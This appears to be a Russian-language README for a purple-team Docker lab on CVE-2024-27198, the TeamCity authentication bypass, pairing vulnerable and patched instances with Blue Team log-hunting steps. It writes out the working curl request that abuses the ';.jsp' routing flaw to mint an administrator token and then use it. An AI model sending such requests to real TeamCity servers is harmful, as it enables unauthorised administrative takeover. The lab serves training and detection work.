Лаборатория для CVE-2024-27198
Лаборатория исследования уязвимостей и демонстрации Purple Team для обхода аутентификации JetBrains TeamCity (CVE-2024-27198)
TeamCity предоставляет страницу управления токенами, доступную только администраторам, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю сгенерировать токен доступа для администратора, если ему удастся найти ID существующего пользователя.
Этот репозиторий содержит полностью воспроизводимую лабораторию в Docker с уязвимым (:8111) и исправленным (:8112) окружениями TeamCity, автоматизированными скриптами эксплуатации (exploit.py), пошаговыми руководствами по поиску в логах для Blue Team и симулятором событий SIEM в реальном времени (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированной конечной точке, злоумышленники могут заставить веб-сервер TeamCity перенаправить запрос на аутентифицированную конечную точку, обходя при этом фильтры безопасности. Для этого не требуется никаких предварительных знаний или доступа, что делает её чистой оценкой 9.8 по CVSS.
Чтобы развернуть локальную копию этой лабораторной работы, выполните следующие простые шаги.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Имя пользователя:
admin
Пароль:
admin
GET-запрос к ресурсу без аутентификации:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Оба должны вернуть ошибку с кодом состояния 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть токен примерно такого вида (токен каждый раз разный):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть ошибку со статус-кодом 401, поскольку исправленный экземпляр не содержит уязвимости.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Должен вернуть список пользователей.
Во время демонстрации в лаборатории вы можете показать масштабную находку Blue Team: по умолчанию эта уязвимость невероятно скрытна!
;.jsp не логируются.Так как же его поймать? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой вредоносный токен, чтобы скрыться, TeamCity всё же фиксирует это в логах.
Найдите, как злоумышленник заметает следы, в журналах аудита:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Вы увидите запись в журнале, указывающую на то, что токен «REDTEAM» был удалён).
docker compose down